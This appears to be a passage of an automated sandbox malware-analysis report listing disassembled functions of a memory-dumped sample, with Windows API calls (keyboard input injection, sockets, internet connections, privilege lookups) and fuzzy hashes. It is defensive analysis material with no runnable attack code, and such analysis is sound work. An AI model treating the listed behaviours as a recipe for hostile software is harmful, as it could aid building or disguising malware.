Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: 015a12eb172295adecb429dea9b7e8d8dc06f7662807339eaef62086b5bb2128
Instruction ID: 1ca8c561bb92ef63b51785dfe1ef74803ee8a93ced29615c9ef7d2323b764756
Opcode Fuzzy Hash: 015a12eb172295adecb429dea9b7e8d8dc06f7662807339eaef62086b5bb2128
Instruction Fuzzy Hash: 88518F74604302ABDF24AF65D891A6EB3A5EF45310F24D81FE596EB291EB74D8408B31

Function 00DC97F4 Relevance: 6.1, APIs: 4, Instructions: 140COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(00935190,?), ref: 00DC9863
ScreenToClient.USER32(00000002,00000002), ref: 00DC9896
MoveWindow.USER32(?,?,?,?,000000FF,00000001), ref: 00DC9903

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: 43a74662a1b50d322a0799c5bae24e3b7f5d16ee0ece45151be6e10a10d3708e
Instruction ID: 0f11554db24cc4dbac1c124cd7816c7b6b9aaed6ceb5377fe570cb71d46b6298
Opcode Fuzzy Hash: 43a74662a1b50d322a0799c5bae24e3b7f5d16ee0ece45151be6e10a10d3708e
Instruction Fuzzy Hash: 48510D35A00206AFDF14CF54C894EAEBBB5EF55360F14816DF8559B2A0DB31AD81CFA0

Function 00D99A80 Relevance: 6.1, APIs: 4, Instructions: 129windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 00D99AD2
__itow.LIBCMT ref: 00D99B03

Part of subcall function 00D99D53: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 00D99DBE

SendMessageW.USER32(?,0000110A,00000001,?), ref: 00D99B6C
__itow.LIBCMT ref: 00D99BC3

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: 320aa51dbbc5344dfaf843bacf57c176666718d0dc4b19467a3c0bb54c6b40d7
Instruction ID: e5da9fb59846e19e761ce403086183d566c6b085d9556c72a4c2d724757212b4
Opcode Fuzzy Hash: 320aa51dbbc5344dfaf843bacf57c176666718d0dc4b19467a3c0bb54c6b40d7
Instruction Fuzzy Hash: 82416174A00209ABDF11EF68D895BFEBBB9EF44724F040069F905A7291DB749A44CBB1

Function 00DB69AA Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 00DB69D1
WSAGetLastError.WSOCK32(00000000), ref: 00DB69E1

Part of subcall function 00D49837: __itow.LIBCMT ref: 00D49862
Part of subcall function 00D49837: __swprintf.LIBCMT ref: 00D498AC

#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00DB6A45
WSAGetLastError.WSOCK32(00000000), ref: 00DB6A51

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ErrorLast$__itow__swprintfsocket
String ID:
API String ID: 2214342067-0
Opcode ID: 1d1f97c66502d5e1960c18d585062d5e94fa98dccd6d1d554ed5ea9c6f2ed02a
Instruction ID: 61e21672b9f43b39c83d76aa144b5b2030a2185cbdb06f47254cf4ec5a0d1c88
Opcode Fuzzy Hash: 1d1f97c66502d5e1960c18d585062d5e94fa98dccd6d1d554ed5ea9c6f2ed02a
Instruction Fuzzy Hash: 6C418D75640201AFEB60AF28CC96F6E77A5DF04B54F048428FA59AB3D2DA749D018BB1

Function 00DB641A Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

#16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,00DCF910), ref: 00DB64A7
_strlen.LIBCMT ref: 00DB64D9

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: ab36bf761651193cee9df465033a35935dfeabdbf5d7d0c896e7908f61795bac
Instruction ID: 7bfe9b7f486885542300d4574bc18aba028edf4c70b470ea6778a5a26477e757
Opcode Fuzzy Hash: ab36bf761651193cee9df465033a35935dfeabdbf5d7d0c896e7908f61795bac
Instruction Fuzzy Hash: E0418071600104ABCB24EBA9EC96FEEB7A9EF44310F148155F81A97292EB34ED14CB70

Function 00DAB7F4 Relevance: 6.1, APIs: 4, Instructions: 111fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00DAB89E
GetLastError.KERNEL32(?,00000000), ref: 00DAB8C4
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 00DAB8E9
CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00DAB915

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: a67a70727fc1d75cc8c3c5c73988295480a5353ad71b92ffba998184794d6769
Instruction ID: b1f419f7cc6e8e5e40701176f6fc4c69b0ecf2564e27baf794615b551468e0b0
Opcode Fuzzy Hash: a67a70727fc1d75cc8c3c5c73988295480a5353ad71b92ffba998184794d6769
Instruction Fuzzy Hash: 8D410D35600611DFCB11DF19C495A5ABBE1EF8A320F198099ED4A9B362CB35FD02CBB1

Function 00DC8851 Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001), ref: 00DC88DE

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: f59f19ab5f37a6d26a971816adec98a026360688dc1148d47377fb947bee781e
Instruction ID: 8eea344ea5209f9e5cacbcb8f0ec3a05aacc15c5f0f5d7b847773dd41b29d71d
Opcode Fuzzy Hash: f59f19ab5f37a6d26a971816adec98a026360688dc1148d47377fb947bee781e
Instruction Fuzzy Hash: 8731C33464020BAFEB249B58DC45FB977A5EB09310F98411AFA51E72A1CF71D980BF72

Function 00DCAB37 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00DCAB60
GetWindowRect.USER32(?,?), ref: 00DCABD6
PtInRect.USER32(?,?,00DCC014), ref: 00DCABE6
MessageBeep.USER32(00000000,?,?,?,?,00DCC014,?,?,?), ref: 00DCAC57

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: ab1b7e9cda4a84cd1927008c9ab7cd53e7bc2f5d6a2b419099f58f7a556034ee
Instruction ID: 3a8890ef3e9f859a41b60ac55b3dd3411931d4f11f23bdd1d9c10ab6368ad6ec
Opcode Fuzzy Hash: ab1b7e9cda4a84cd1927008c9ab7cd53e7bc2f5d6a2b419099f58f7a556034ee
Instruction Fuzzy Hash: B8416A3960021A9FCB16DF5CC984FA97BF6FB49304F1881A9E8549B260D731A841CFB2

Function 00DA0AD6 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00DA0B27
SetKeyboardState.USER32(00000080), ref: 00DA0B43
PostMessageW.USER32 ref: 00DA0BA9
SendInput.USER32(00000001,00000000,0000001C), ref: 00DA0BFB

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 88ef64eca2485b672c081e42d655a371c5f51684b49e2b89e63768f759952298
Instruction ID: ac336b2f497bc5d46c1c84809df71f396c39b76ef15fc5976c6107c87f5f13f0
Opcode Fuzzy Hash: 88ef64eca2485b672c081e42d655a371c5f51684b49e2b89e63768f759952298
Instruction Fuzzy Hash: 3931F870A40318AEFF308F25CD05BFABFA6AB47314F0C425AF595921D1C37589459775

Function 00DA0C11 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00DA0C66
SetKeyboardState.USER32(00000080), ref: 00DA0C82
PostMessageW.USER32 ref: 00DA0CE1
SendInput.USER32(00000001,?,0000001C), ref: 00DA0D33

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: ffd07191c19b771b0d9ec19fd8400e0f493e59bec30e11ca3ae224f6003b6363
Instruction ID: 7f19ec162d76644329727e400e88a377e1e881f897abf384b19b00aeca108c74
Opcode Fuzzy Hash: ffd07191c19b771b0d9ec19fd8400e0f493e59bec30e11ca3ae224f6003b6363
Instruction Fuzzy Hash: DC3126319403186FFF308B65C805BFEBFAAAB47320F08831AE585925D1C339999587B2

Function 00D761C5 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00D761FB
__isleadbyte_l.LIBCMT ref: 00D76229
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00D76257
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00D7628D

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: c1496b1cbff9f46e483779fd5094b8208ee9bed6f22c14743a8ff2b87a7f666b
Instruction ID: c3fd871a66ee98a1c81d57817df94109ebc9fdab045196d92902b93c64bd53b3
Opcode Fuzzy Hash: c1496b1cbff9f46e483779fd5094b8208ee9bed6f22c14743a8ff2b87a7f666b
Instruction Fuzzy Hash: 9231CE30600B46AFDB219F65CC48BAA7BA9FF41310F198128E868971A2F731D950DBB0

Function 00DC4EEE Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00DC4F02

Part of subcall function 00DA3641: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00DA365B
Part of subcall function 00DA3641: GetCurrentThreadId.KERNEL32(00000000,?,00DA5005), ref: 00DA3662
Part of subcall function 00DA3641: AttachThreadInput.USER32(00000000,?,00DA5005), ref: 00DA3669

GetCaretPos.USER32(?), ref: 00DC4F13
ClientToScreen.USER32(00000000,?), ref: 00DC4F4E
GetForegroundWindow.USER32 ref: 00DC4F54

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 049ed03d3161b1d3a0eb949b23269d021456c21d16e88eb094436a87549069ab
Instruction ID: 2e11ca46317548ad4794da691e1133c62a71892d87b497132df93547373e4401
Opcode Fuzzy Hash: 049ed03d3161b1d3a0eb949b23269d021456c21d16e88eb094436a87549069ab
Instruction Fuzzy Hash: 75310C71D00209AFDB00EFAAC995EEFB7F9EF99300B10406AE455E7241DA719E058BB0

Function 00DCC498 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D42612: GetWindowLongW.USER32(?,000000EB), ref: 00D42623

GetCursorPos.USER32(?), ref: 00DCC4D2
TrackPopupMenuEx.USER32 ref: 00DCC4E7
GetCursorPos.USER32(?), ref: 00DCC534
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00D7B9AB,?,?,?), ref: 00DCC56E

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: b90979a1746d65b67320865a706a60438f73cffd7ff9dbc24d2a3714e024243c
Instruction ID: e604d6a4909e904accbfa1d6e49824d0864da92f0012fe2f2e92a9dd820a6d22
Opcode Fuzzy Hash: b90979a1746d65b67320865a706a60438f73cffd7ff9dbc24d2a3714e024243c
Instruction Fuzzy Hash: 0F319135620059AFCB158F58C858EFA7BB6EB09310F484169FA099B2A1C731ED50DFB4

Function 00D98656 Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D9810A: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00D98121
Part of subcall function 00D9810A: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00D9812B
Part of subcall function 00D9810A: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00D9813A
Part of subcall function 00D9810A: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00D98141
Part of subcall function 00D9810A: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00D98157

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00D986A3
_memcmp.LIBCMT ref: 00D986C6
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00D986FC
HeapFree.KERNEL32(00000000), ref: 00D98703

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: 8f5514d0eafc5bcdcdb8d7f1609b39bdc396d489a6d33244b99aa8c5474a2efd
Instruction ID: 7e55a424237088c9a9c27a2f5d3a1192092c01d607929348e75b258a14c0f6a1
Opcode Fuzzy Hash: 8f5514d0eafc5bcdcdb8d7f1609b39bdc396d489a6d33244b99aa8c5474a2efd
Instruction Fuzzy Hash: F2218E71E40209EFDF10DFA8C949BEEB7B9EF45704F194059E444AB240DB31AE05DB60

Function 00D6098C Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

__setmode.LIBCMT ref: 00D609AE

Part of subcall function 00D45A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00DA7896,?,?,00000000), ref: 00D45A2C
Part of subcall function 00D45A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00DA7896,?,?,00000000,?,?), ref: 00D45A50

_fprintf.LIBCMT ref: 00D609E5
OutputDebugStringW.KERNEL32(?), ref: 00D95DBB

Part of subcall function 00D64AAA: _flsall.LIBCMT ref: 00D64AC3

__setmode.LIBCMT ref: 00D60A1A

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
String ID:
API String ID: 521402451-0
Opcode ID: 00ccc611812461765606c60f1bf61ec3b33ff4d13bf6ff9ee2e67d4f4ba58fd8
Instruction ID: 9fd1f47f15228add9bd84e1c270de0f643b4b54c778155504cd31ed0164baeeb
Opcode Fuzzy Hash: 00ccc611812461765606c60f1bf61ec3b33ff4d13bf6ff9ee2e67d4f4ba58fd8
Instruction Fuzzy Hash: DB11E4329042047FDB04B7F4AC479FFBBA9DF46320F240156F205A7293EE21584697B5

Function 00DB1767 Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00DB17A3

Part of subcall function 00DB182D: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00DB184C
Part of subcall function 00DB182D: InternetCloseHandle.WININET(00000000), ref: 00DB18E9

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: 41c52f70fad2a34e10ad1eff8035cb98702dedfa7e093666906b1d71464640e2
Instruction ID: 051e93a48eb5bed4837335f6449d4beab8f8244878e24c980841e6f6ccc8f658
Opcode Fuzzy Hash: 41c52f70fad2a34e10ad1eff8035cb98702dedfa7e093666906b1d71464640e2
Instruction Fuzzy Hash: C821953A200606FFDB125F609C11FFAB7AAFF48711F54402AF956D6650DB71D81197B0

Function 00DA3A2A Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00DCFAC0), ref: 00DA3A64
GetLastError.KERNEL32 ref: 00DA3A73
CreateDirectoryW.KERNEL32(?,00000000), ref: 00DA3A82
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,00DCFAC0), ref: 00DA3ADF

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: d0d2884154f56982c90da320f394e5391b6f1564753a9cf45d597d127ad6f387
Instruction ID: 2d98397f7589b25251fad1132612ad25eb84ca697f0047046b68d037855129ff
Opcode Fuzzy Hash: d0d2884154f56982c90da320f394e5391b6f1564753a9cf45d597d127ad6f387
Instruction Fuzzy Hash: FC21A3745083129F8700DF28C8818AABBE6EF56364F144A2DF4D9C72A2D731DE49CB72

Function 00D750E2 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00D75101

Part of subcall function 00D6571C: __FF_MSGBANNER.LIBCMT ref: 00D65733
Part of subcall function 00D6571C: __NMSG_WRITE.LIBCMT ref: 00D6573A
Part of subcall function 00D6571C: RtlAllocateHeap.NTDLL(00900000,00000000,00000001,00000000,?,?,?,00D60DD3,?), ref: 00D6575F

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
